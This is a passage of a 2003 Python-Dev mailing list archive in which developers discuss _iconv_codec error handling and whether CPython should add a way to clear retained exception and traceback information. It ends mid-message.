From nas@python.ca  Mon Feb 24 14:29:51 2003
From: nas@python.ca (Neil Schemenauer)
Date: Mon, 24 Feb 2003 06:29:51 -0800
Subject: [Python-Dev] tuning up...
In-Reply-To: <Pine.OS2.4.44.0302241954140.44-100000@tenring.andymac.org>
References: <200302231320.h1NDK4510738@pcp02138704pcs.reston01.va.comcast.net> <Pine.OS2.4.44.0302241954140.44-100000@tenring.andymac.org>
Message-ID: <20030224142951.GA11470@glacier.arctrix.com>

Andrew MacIntyre wrote:
> I'm still somewhat intrigued by the difference between the systems - IIRC
> the C3 CPU has only 64kB of cache, so may be some of the gains are related
> to better cache locality (at least for pystone) which is less obvious on
> CPUs with more cache.

I did some reorganization of the eval loop that gained a few percent on
pystone.

  Neil


From guido@python.org  Mon Feb 24 14:55:18 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 24 Feb 2003 09:55:18 -0500
Subject: [Python-Dev] _iconv_codec
In-Reply-To: Your message of "Mon, 24 Feb 2003 23:08:34 +0900."
 <20030224140834.GA2592@fallin.lv>
References: <200302241308.h1OD8Dn13161@pcp02138704pcs.reston01.va.comcast.net>
 <20030224140834.GA2592@fallin.lv>
Message-ID: <200302241455.h1OEtJR02170@odiug.zope.com>

> _Iconv_codec wraps around iconv(3) function which is defined in
> POSIX. (http://www.opengroup.org/onlinepubs/007904975/functions/iconv.html)

There are many POSIX standards.  Which one is that?  The title says
"The Open Group Base Specifications Issue 6" which doesn't help me.

> IMHO, we don't need docs for it because no user is expected to access
> _iconv_codec directly. It just provides a codec set interface to libiconv
> when python doesn't have standard codec for some encoding.

Well, *somebody* is going to have to know how it works, and fix the
bugs long after you've lost interested in this project.  I don't care
if you explain it in the form of comments in the Python or C modules,
but there needs to be more explanation of what this is and how it
works.

> I feel that raising RuntimeError on init_iconv_codec is producing numerous
> bug reports. Because insane iconv(3) is fatal for iconv_codec but
> not for python, I think it should raise ImportError instead of RuntimeError.

The right time to test for insane iconv() is at configure time, not at
import time.

Before I changed your Py_FatalError() calls to raising RuntimeError,
there were even more problems.  Saying the bug reports are caused by
the RuntimeError is not right: the problems are caused by iconv(), not
by the specific exception that is being raised.

> To be honest, there're some minor problems on _iconv_codec that I know,
> currently. I'm working on an unified multibyte codec codebase for
> {zh,ja,ko,iconv}codecs nowadays. I guess that I can submit fully
> reimplemented versions of {zh,ko,iconv}codecs in a week. It will resolve
> most problems on now.
> 
> Sorry for immature status of _iconv_codec and I will do my best to
> make it stable before 2.3b1.

OK, keep them patches coming to SF.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tismer@tismer.com  Mon Feb 24 17:34:27 2003
From: tismer@tismer.com (Christian Tismer)
Date: Mon, 24 Feb 2003 18:34:27 +0100
Subject: [Python-Dev] Traceback problem
Message-ID: <3E5A57A3.1040207@tismer.com>

Hi py-dev,

I got a problem report for Stackless today, that
it seems to leak with tracebacks.

After trying other Python versions, I found out
that this is a "feature" of Python and not related
to Stackless. The problem becomes only more visible,
since people are keeping thousands of threads alive.

Here the problem:
When an exception has been raised in a frame, and
it already is handled in an except clause, the
exception is not cleared out from tstate and also
stays alive in the frame object.
Only when the frame is left, eval_frame calls
	reset_exc_info(tstate);
which clear all these, breaking cycles.

Question:
Does this need to be so, and for what reason?
Would it be equivalent if I cleared error info
in the context of a finally: ?
If not, please give me advice how to solve this
problem. It exists in all long-running frames
which have seen exceptions.

Thanks a lot - chris
-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From guido@python.org  Mon Feb 24 18:01:08 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 24 Feb 2003 13:01:08 -0500
Subject: [Python-Dev] Traceback problem
In-Reply-To: Your message of "Mon, 24 Feb 2003 18:34:27 +0100."
 <3E5A57A3.1040207@tismer.com>
References: <3E5A57A3.1040207@tismer.com>
Message-ID: <200302241801.h1OI1AD02629@odiug.zope.com>

If I understand correctly what you are referring to, this is a
feature.  You're supposed to say:

  try:
    return f()
  except:
    pass
  sys.exc_info()

i.e. the exc_info() must remain accessible.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tismer@tismer.com  Mon Feb 24 18:10:29 2003
From: tismer@tismer.com (Christian Tismer)
Date: Mon, 24 Feb 2003 19:10:29 +0100
Subject: [Python-Dev] Traceback problem
In-Reply-To: <200302241801.h1OI1AD02629@odiug.zope.com>
References: <3E5A57A3.1040207@tismer.com> <200302241801.h1OI1AD02629@odiug.zope.com>
Message-ID: <3E5A6015.1040107@tismer.com>

Guido van Rossum wrote:
> If I understand correctly what you are referring to, this is a
> feature.  You're supposed to say:
> 
>   try:
>     return f()
>   except:
>     pass
>   sys.exc_info()
> 
> i.e. the exc_info() must remain accessible.

Aha! Yup! Thanks.

Then, it is probably not a bug but a feature.
Would it be ok then, if I write a function
that exposes reset_exc_info to the user?

sys.exc_clear() # maybe?

Or a function which returns *and* clears the exc?

tup = sys.exc_info_reset()

ciao - chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/



From tismer@tismer.com  Mon Feb 24 18:15:20 2003
From: tismer@tismer.com (Christian Tismer)
Date: Mon, 24 Feb 2003 19:15:20 +0100
Subject: [Python-Dev] Traceback problem
In-Reply-To: <3E5A6015.1040107@tismer.com>
References: <3E5A57A3.1040207@tismer.com> <200302241801.h1OI1AD02629@odiug.zope.com> <3E5A6015.1040107@tismer.com>
Message-ID: <3E5A6138.1080706@tismer.com>

Christian Tismer wrote:
> Guido van Rossum wrote:
> 
>> If I understand correctly what you are referring to, this is a
>> feature.  You're supposed to say:
>>
>>   try:
>>     return f()
>>   except:
>>     pass
>>   sys.exc_info()
>>
>> i.e. the exc_info() must remain accessible.

Proposal: changing sys.exc_info into

def exc_info(reset=False):
     ## if reset is true, also clear the error.

ciao - chris
-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/



From guido@python.org  Mon Feb 24 18:12:26 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 24 Feb 2003 13:12:26 -0500
Subject: [Python-Dev] Traceback problem
In-Reply-To: Your message of "Mon, 24 Feb 2003 19:10:29 +0100."
 <3E5A6015.1040107@tismer.com>
References: <3E5A57A3.1040207@tismer.com> <200302241801.h1OI1AD02629@odiug.zope.com>
 <3E5A6015.1040107@tismer.com>
Message-ID: <200302241812.h1OICSV02711@odiug.zope.com>

> Guido van Rossum wrote:
> > If I understand correctly what you are referring to, this is a
> > feature.  You're supposed to say:
> > 
> >   try:
> >     return f()
> >   except:
> >     pass
> >   sys.exc_info()
> > 
> > i.e. the exc_info() must remain accessible.

[Christian]
> Aha! Yup! Thanks.
> 
> Then, it is probably not a bug but a feature.
> Would it be ok then, if I write a function
> that exposes reset_exc_info to the user?
> 
> sys.exc_clear() # maybe?
> 
> Or a function which returns *and* clears the exc?
> 
> tup = sys.exc_info_reset()

Sure, as long as it is part of Stackless and not of Python proper.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From jacobs@penguin.theopalgroup.com  Mon Feb 24 18:39:27 2003
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Mon, 24 Feb 2003 13:39:27 -0500 (EST)
Subject: [Python-Dev] Traceback problem
In-Reply-To: <200302241812.h1OICSV02711@odiug.zope.com>
Message-ID: <Pine.LNX.4.44.0302241337530.10877-100000@penguin.theopalgroup.com>

On Mon, 24 Feb 2003, Guido van Rossum wrote:
> [Christian]
> > Then, it is probably not a bug but a feature.
> > Would it be ok then, if I write a function
> > that exposes reset_exc_info to the user?
> > 
> > sys.exc_clear() # maybe?
> > 
> > Or a function which returns *and* clears the exc?
> > 
> > tup = sys.exc_info_reset()
> 
> Sure, as long as it is part of Stackless and not of Python proper.

Actually, I've wanted a reset_exc() call from time to time.  What is the
barrer to having in the core?

Thanks,
-Kevin

-- 
--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com



From guido@python.org  Mon Feb 24 19:04:14 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 24 Feb 2003 14:04:14 -0500
Subject: [Python-Dev] Traceback problem
In-Reply-To: Your message of "Mon, 24 Feb 2003 13:39:27 EST."
 <Pine.LNX.4.44.0302241337530.10877-100000@penguin.theopalgroup.com>
References: <Pine.LNX.4.44.0302241337530.10877-100000@penguin.theopalgroup.com>
Message-ID: <200302241904.h1OJ4LP02895@odiug.zope.com>

> > Sure, as long as it is part of Stackless and not of Python proper.
> 
> Actually, I've wanted a reset_exc() call from time to time.  What is the
> barrer to having in the core?

I believe that Stackless supports Python 2.1 or older, and we're not
adding features.  Even if Stackless supported Python 2.2, adding a new
feature would be iffy.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From jacobs@penguin.theopalgroup.com  Mon Feb 24 19:05:14 2003
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Mon, 24 Feb 2003 14:05:14 -0500 (EST)
Subject: [Python-Dev] Traceback problem
In-Reply-To: <200302241904.h1OJ4LP02895@odiug.zope.com>
Message-ID: <Pine.LNX.4.44.0302241404280.11242-100000@penguin.theopalgroup.com>

On Mon, 24 Feb 2003, Guido van Rossum wrote:
> > > Sure, as long as it is part of Stackless and not of Python proper.
> > 
> > Actually, I've wanted a reset_exc() call from time to time.  What is the
> > barrer to having in the core?
> 
> I believe that Stackless supports Python 2.1 or older, and we're not
> adding features.  Even if Stackless supported Python 2.2, adding a new
> feature would be iffy.

This has nothing to do with Stackless, and I'm happy to have it for Python
2.3 (or 2.4 if it is too risky to add post-a2).

Thanks,
-Kevin

-- 
--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com



From guido@python.org  Mon Feb 24 19:13:01 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 24 Feb 2003 14:13:01 -0500
Subject: [Python-Dev] Traceback problem
In-Reply-To: Your message of "Mon, 24 Feb 2003 14:05:14 EST."
 <Pine.LNX.4.44.0302241404280.11242-100000@penguin.theopalgroup.com>
References: <Pine.LNX.4.44.0302241404280.11242-100000@penguin.theopalgroup.com>
Message-ID: <200302241913.h1OJD3102957@odiug.zope.com>

> > > > Sure, as long as it is part of Stackless and not of Python proper.
> > > 
> > > Actually, I've wanted a reset_exc() call from time to time.  What is the
> > > barrer to having in the core?
> > 
> > I believe that Stackless supports Python 2.1 or older, and we're not
> > adding features.  Even if Stackless supported Python 2.2, adding a new
> > feature would be iffy.
> 
> This has nothing to do with Stackless,

Well, Christian explained that it was a problem because they have
1000s of threads.

> and I'm happy to have it for Python
> 2.3 (or 2.4 if it is too risky to add post-a2).

I don't have time to write the code, but I'll entertain a patch before
2.3b1.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From jacobs@penguin.theopalgroup.com  Mon Feb 24 19:50:16 2003
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Mon, 24 Feb 2003 14:50:16 -0500 (EST)
Subject: [Python-Dev] Traceback problem
In-Reply-To: <200302241913.h1OJD3102957@odiug.zope.com>
Message-ID: <Pine.LNX.4.44.0302241448080.11620-100000@penguin.theopalgroup.com>

On Mon, 24 Feb 2003, Guido van Rossum wrote:
> > This has nothing to do with Stackless,
> 
> Well, Christian explained that it was a problem because they have
> 1000s of threads.

My problem relates to logging the "last exception" in a catch-all error
handler.  We sometimes see the same exception when an error occurs and no
new exception is thrown.

> > and I'm happy to have it for Python
> > 2.3 (or 2.4 if it is too risky to add post-a2).
> 
> I don't have time to write the code, but I'll entertain a patch before
> 2.3b1.

No problem.  I'll upload it to SF, along with documentation and a new unit
test.

-Kevin

-- 
--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com



From tismer@tismer.com  Mon Feb 24 23:29:57 2003
From: tismer@tismer.com (Christian Tismer)
Date: Tue, 25 Feb 2003 00:29:57 +0100
Subject: [Python-Dev] Traceback problem
In-Reply-To: <200302241904.h1OJ4LP02895@odiug.zope.com>
References: <Pine.LNX.4.44.0302241337530.10877-100000@penguin.theopalgroup.com> <200302241904.h1OJ4LP02895@odiug.zope.com>
Message-ID: <3E5AAAF5.2080702@tismer.com>

Guido van Rossum wrote:
> Sure, as long as it is part of Stackless and not of Python proper.
> 
> Actually, I've wanted a reset_exc() call from time to time.  What is the
> barrer to having in the core?
> 
> 
> I believe that Stackless supports Python 2.1 or older, and we're not
> adding features.  Even if Stackless supported Python 2.2, adding a new
> feature would be iffy.

Huh? What makes you believe that?
I'm talking of 2.3, of course.

Sure, it is possible for long-running functions to wrap
any exception-raising stuff into an extra wrapping function
that always returns after the exception has happened,
and to let the main worker function run without try..except.
But is this very cool?

I would also like to point out that the documentation
of sys.exc_info is very misleading, and I always
programmed acording to this false information:

"""
 >>> print sys.exc_info.__doc__
exc_info() -> (type, value, traceback)

Return information about the exception that is currently being handled.
This should be called from inside an except clause only.
 >>>
"""

Where I have to say that I'm in favor of doing like
the documentation claims.

ciao - chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From tismer@tismer.com  Mon Feb 24 23:34:48 2003
From: tismer@tismer.com (Christian Tismer)
Date: Tue, 25 Feb 2003 00:34:48 +0100
Subject: [Python-Dev] Traceback problem
In-Reply-To: <200302241913.h1OJD3102957@odiug.zope.com>
References: <Pine.LNX.4.44.0302241404280.11242-100000@penguin.theopalgroup.com> <200302241913.h1OJD3102957@odiug.zope.com>
Message-ID: <3E5AAC18.2070801@tismer.com>

Guido van Rossum wrote:
> Sure, as long as it is part of Stackless and not of Python proper.
> 
> Actually, I've wanted a reset_exc() call from time to time.  What is the
> barrer to having in the core?
> 
> I believe that Stackless supports Python 2.1 or older, and we're not
> adding features.  Even if Stackless supported Python 2.2, adding a new
> feature would be iffy.
> 
> This has nothing to do with Stackless,
> 
> 
> Well, Christian explained that it was a problem because they have
> 1000s of threads.

Yeah. But standard CPython can exploit the same thing, with a
handful of real threads, which happen to catch exceptions
from, say, a very deep, very memory consming chain of frames.
These are all kept alive, and from the documentation,
people don't expect this!

...

> I don't have time to write the code, but I'll entertain a patch before
> 2.3b1.

I was about to supply a patch, that's why I asked for
the right syntax. Do you want an extra function of which name,
or do you like a default arg to exc_info?
Both patches should not take me more than 1/2 hour, or I
should better give up on programming and become a farmer.

no-offense-to-farmers,-they-are-probably-the-happier-people -- chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From mhammond@skippinet.com.au  Tue Feb 25 00:05:51 2003
From: mhammond@skippinet.com.au (Mark Hammond)
Date: Tue, 25 Feb 2003 11:05:51 +1100
Subject: [Python-Dev] Traceback problem
In-Reply-To: <3E5AAAF5.2080702@tismer.com>
Message-ID: <006301c2dc61$aa3e1910$530f8490@eden>

I'm not completely clear on the problem being described here, but:

> Sure, it is possible for long-running functions to wrap
> any exception-raising stuff into an extra wrapping function
> that always returns after the exception has happened,
> and to let the main worker function run without try..except.
> But is this very cool?

I point out that the following code:

import sys
def a():
    try:
        1/0
    except:
        t, v, tb = sys.exc_info()

if __name__=='__main__':
    while 1:
        a()

When garbage collection is not enabled will cause huge memory leaks.  The
problem is the "tb" variable - the traceback holds a reference to the stack
frame, which holds references to the locals, which holds a reference back to
"tb".

gc clears these cycles, so later Python versions work fine - does stackless
enable gc?  Explicitly setting "tb" to None in the exception handler also
fixes it.

No idea if it is related or not, but this problem caused me such grief years
ago that I thought it worth mentioning.

Mark.



From tismer@tismer.com  Tue Feb 25 01:00:00 2003
From: tismer@tismer.com (Christian Tismer)
Date: Tue, 25 Feb 2003 02:00:00 +0100
Subject: [Python-Dev] Traceback problem
In-Reply-To: <006301c2dc61$aa3e1910$530f8490@eden>
References: <006301c2dc61$aa3e1910$530f8490@eden>
Message-ID: <3E5AC010.7010208@tismer.com>

Mark Hammond wrote:
> I'm not completely clear on the problem being described here, but:
> 
> 
>>Sure, it is possible for long-running functions to wrap
>>any exception-raising stuff into an extra wrapping function
>>that always returns after the exception has happened,
>>and to let the main worker function run without try..except.
>>But is this very cool?
> 
> 
> I point out that the following code:
> 
> import sys
> def a():
>     try:
>         1/0
>     except:
>         t, v, tb = sys.exc_info()
> 
> if __name__=='__main__':
>     while 1:
>         a()
> 
> When garbage collection is not enabled will cause huge memory leaks.  The
> problem is the "tb" variable - the traceback holds a reference to the stack
> frame, which holds references to the locals, which holds a reference back to
> "tb".
> 
> gc clears these cycles, so later Python versions work fine - does stackless
> enable gc?  Explicitly setting "tb" to None in the exception handler also
> fixes it.

Thanks a lot. Yes, I know about this and advised them
to clear t, v, tb after usage, which breaks the cycle.
The problem is just that they don't like to use an extra
wrapper function around the exception, but want to handle
it in their top-level worker loop.
When an exception happens there, it isn't cleared until
another one happens, or the function leaves.
But the latter never happens...

ciao - chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From guido@python.org  Tue Feb 25 01:57:40 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 24 Feb 2003 20:57:40 -0500
Subject: [Python-Dev] Traceback problem
In-Reply-To: "Your message of Tue, 25 Feb 2003 00:29:57 +0100."
 <3E5AAAF5.2080702@tismer.com>
References: <Pine.LNX.4.44.0302241337530.10877-100000@penguin.theopalgroup.com>
 <200302241904.h1OJ4LP02895@odiug.zope.com> <3E5AAAF5.2080702@tismer.com>
Message-ID: <200302250157.h1P1ve213590@pcp02138704pcs.reston01.va.comcast.net>

[Guido]
> > I believe that Stackless supports Python 2.1 or older, and we're not
> > adding features.  Even if Stackless supported Python 2.2, adding a new
> > feature would be iffy.

[Christian]
> Huh? What makes you believe that?

I thought quite a while ago you announced you were giving up the old
stackless code.  I must have misunderstood.

> I'm talking of 2.3, of course.

But without GC, right?  Or did I misunderstand that too?  I thought
you told me that your customers didn't want GC enabled?  But in 2.3 GC
can't be disabled.  So I guess I'm unclear on what you want.

> I would also like to point out that the documentation
> of sys.exc_info is very misleading, and I always
> programmed acording to this false information:
> 
> """
>  >>> print sys.exc_info.__doc__
> exc_info() -> (type, value, traceback)
> 
> Return information about the exception that is currently being handled.
> This should be called from inside an except clause only.
>  >>>
> """

It's pretty complex to explain the actual behavior, so I gave a
recipe that's a little more restricted but is guaranteed to work.

> Where I have to say that I'm in favor of doing like
> the documentation claims.

Too bad, that would definitely break existing code.

[And later, Guido]
> > Well, Christian explained that it was a problem because they have
> > 1000s of threads.

[Christian]
> Yeah. But standard CPython can exploit the same thing, with a
> handful of real threads, which happen to catch exceptions
> from, say, a very deep, very memory consming chain of frames.
> These are all kept alive, and from the documentation,
> people don't expect this!

Who reads documentation. :-)

> ...
> 
> > I don't have time to write the code, but I'll entertain a patch before
> > 2.3b1.
> 
> I was about to supply a patch, that's why I asked for
> the right syntax. Do you want an extra function of which name,
> or do you like a default arg to exc_info?
> Both patches should not take me more than 1/2 hour, or I
> should better give up on programming and become a farmer.

You and Kevin Jacobs can argue about the syntax.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tismer@tismer.com  Tue Feb 25 02:28:32 2003
From: tismer@tismer.com (Christian Tismer)
Date: Tue, 25 Feb 2003 03:28:32 +0100
Subject: [Python-Dev] Traceback problem
In-Reply-To: <200302250157.h1P1ve213590@pcp02138704pcs.reston01.va.comcast.net>
References: <Pine.LNX.4.44.0302241337530.10877-100000@penguin.theopalgroup.com> <200302241904.h1OJ4LP02895@odiug.zope.com> <3E5AAAF5.2080702@tismer.com> <200302250157.h1P1ve213590@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <3E5AD4D0.3050609@tismer.com>

Guido van Rossum wrote:
> [Guido]
> 
>>>I believe that Stackless supports Python 2.1 or older, and we're not
>>>adding features.  Even if Stackless supported Python 2.2, adding a new
>>>feature would be iffy.

I am not talking about adding a feature but removing a wart.

> [Christian]
> 
>>Huh? What makes you believe that?
> 
> 
> I thought quite a while ago you announced you were giving up the old
> stackless code.  I must have misunderstood.

And introduced the new, much better, Stackless code, of course.
This is what I'm talking about at PyCon. You were in the comittee.

>>I'm talking of 2.3, of course.
> 
> 
> But without GC, right?  Or did I misunderstand that too?  I thought
> you told me that your customers didn't want GC enabled?  But in 2.3 GC
> can't be disabled.  So I guess I'm unclear on what you want.

I have asked them about GC. Both were less negative about GC than
they claimed a year ago. But this is not the point.

The code they have cannot be made working by GC, since there
is a life cycle supported by prolonged survival of exceptions
that cannot be solved by GC. There is *no* way to clear
an exception other than raising another one, or by leaving
the current function that received the exception.
Since it is easy to catch an exception in the except clause
my assingning sys.exc_info() to some locals, there is no
need to make these implicitly survive longer than needed,
with the extra surprize that there is no sane way to
clean them up.

...

> It's pretty complex to explain the actual behavior, so I gave a
> recipe that's a little more restricted but is guaranteed to work.

It is actually quite simple to explain, since I know almost
all of ceval.c by heart:

There is only one single function in the whole system that both
clears the exception saved in tstate, *and* the extra reference
which is captured in the current frame:

It is reset_exc_info(), a static local function in ceval.c,
which is exactly only called when eval_frame returns.

>>Where I have to say that I'm in favor of doing like
>>the documentation claims.
> 
> 
> Too bad, that would definitely break existing code.

Break it, break it! Code that does not adhere to the
documentation is bad code that should be broken,
even if it is your own. Examplify.
Relying on side effects which are not documented
have *never* been an argument for you to support abuse.

> [And later, Guido]
...

> Who reads documentation. :-)

You, I suppose. :-)

...

> You and Kevin Jacobs can argue about the syntax.

Proposals, in decreasing orders of delight:

1) Implement exeptions according to the documentation.
    Cleaning exceptions after they are handled is what
    most users would expect, last but not least since
    the documentation suggests it.

2) Add an optional boolean clear argument to sys.exc_info()
    This is lame, but it gives the user one way out.

3) Add an extra reset_exp function to sys.
    More lame since it requires an extra function,
    just to patch a "feature".

4) Keep things as they are, and expect the Spanish Inquision.

In case of 4), I assure you to start a thread that will
not be less than the PEP308 mess. In the other cases,
I will happily submit a validated patch.

Please don't disappoint me by defending a questionable design.

sincerely your's -- chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From jacobs@penguin.theopalgroup.com  Tue Feb 25 03:24:26 2003
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Mon, 24 Feb 2003 22:24:26 -0500 (EST)
Subject: [Python-Dev] Traceback problem
In-Reply-To: <3E5AD4D0.3050609@tismer.com>
Message-ID: <Pine.LNX.4.44.0302242212140.15981-100000@penguin.theopalgroup.com>

On Tue, 25 Feb 2003, Christian Tismer wrote:
> > You and Kevin Jacobs can argue about the syntax.
> 
> Proposals, in decreasing orders of delight:
> 
> 1) Implement exeptions according to the documentation.
>     Cleaning exceptions after they are handled is what
>     most users would expect, last but not least since
>     the documentation suggests it.

This is not a practical option -- while I don't think the current behavior
is ideal, we have a great deal of code that relies on this behavior.  I'm
sure that many other Python developers are in the same boat.  If this is to
change, we need to do a lot more work to justify it, and to give at least
full one version of notice before enforcing it.

> 2) Add an optional boolean clear argument to sys.exc_info()
>     This is lame, but it gives the user one way out.

  exc_info(...)
    exc_info() -> (type, value, traceback)

    Return information about the exception that is currently being handled.
    This should be called from inside an except clause only.

Adding an argument to this function reeks of a kludge.  Its job is to return
information, and should not take any magic arguments to make it a
'one-shot'.

> 3) Add an extra reset_exp function to sys.
>     More lame since it requires an extra function,
>     just to patch a "feature".

This one gets my vote (if this were a democracy).  "Explicit is better than
implicit".  The new symbol in the sys namespace also makes it easy to test
for the capability (without a version number check).  Maybe it should be
called 'clear_exc' or 'reset_exc_info' (to match the C API name).

> 4) Keep things as they are, and expect the Spanish Inquision.

I'm even okay with the status quo and can continue to use my current hack to
clear exception data.

Regards,
-Kevin

-- 
--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com



From tismer@tismer.com  Tue Feb 25 03:48:07 2003
From: tismer@tismer.com (Christian Tismer)
Date: Tue, 25 Feb 2003 04:48:07 +0100
Subject: [Python-Dev] Traceback problem
In-Reply-To: <Pine.LNX.4.44.0302242212140.15981-100000@penguin.theopalgroup.com>
References: <Pine.LNX.4.44.0302242212140.15981-100000@penguin.theopalgroup.com>
Message-ID: <3E5AE777.8010108@tismer.com>

Kevin Jacobs wrote:
> On Tue, 25 Feb 2003, Christian Tismer wrote:
> 
>>>You and Kevin Jacobs can argue about the syntax.
>>
>>Proposals, in decreasing orders of delight:
>>
>>1) Implement exeptions according to the documentation.
>>    Cleaning exceptions after they are handled is what
>>    most users would expect, last but not least since
>>    the documentation suggests it.

> This is not a practical option -- while I don't think the current behavior
> is ideal, we have a great deal of code that relies on this behavior.  I'm
> sure that many other Python developers are in the same boat.  If this is to
> change, we need to do a lot more work to justify it, and to give at least
> full one version of notice before enforcing it.

Why this? sys.exc_info() is well documented since
a couple of versions. I was even so dumb to code
according to it that I wasn't even aware of the
problem. (But I should have known better having
read all the code).

...

>>3) Add an extra reset_exp function to sys.
>>    More lame since it requires an extra function,
>>    just to patch a "feature".
> 
> 
> This one gets my vote (if this were a democracy).  "Explicit is better than
> implicit".  The new symbol in the sys namespace also makes it easy to test
> for the capability (without a version number check).  Maybe it should be
> called 'clear_exc' or 'reset_exc_info' (to match the C API name).

I don't care, but to get that crappy problem off my desk.

>>4) Keep things as they are, and expect the Spanish Inquision.
> 
> 
> I'm even okay with the status quo and can continue to use my current hack to
> clear exception data.

I have received lots of complaints about "bad Stackless behavior",
and I would be happy if I were causing the problem, in the first
place. The problem exists since centuries, but is exploited
by the fact that people can have so many threads now.
I hate to get prosecuted for the consequences of other
people's decisions, in a way...
... but I'm far from being a language designer, for heaven's sake :-))

unseriously yours - chgris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From barry@python.org  Tue Feb 25 04:44:38 2003
From: barry@python.org (Barry A. Warsaw)
Date: Mon, 24 Feb 2003 23:44:38 -0500
Subject: [Python-Dev] Traceback problem
References: <3E5AD4D0.3050609@tismer.com>
 <Pine.LNX.4.44.0302242212140.15981-100000@penguin.theopalgroup.com>
Message-ID: <15962.62646.292558.502131@gargle.gargle.HOWL>

>>>>> "KJ" == Kevin Jacobs <jacobs@penguin.theopalgroup.com> writes:

    KJ> This one gets my vote (if this were a democracy).  "Explicit
    KJ> is better than implicit".  The new symbol in the sys namespace
    KJ> also makes it easy to test for the capability (without a
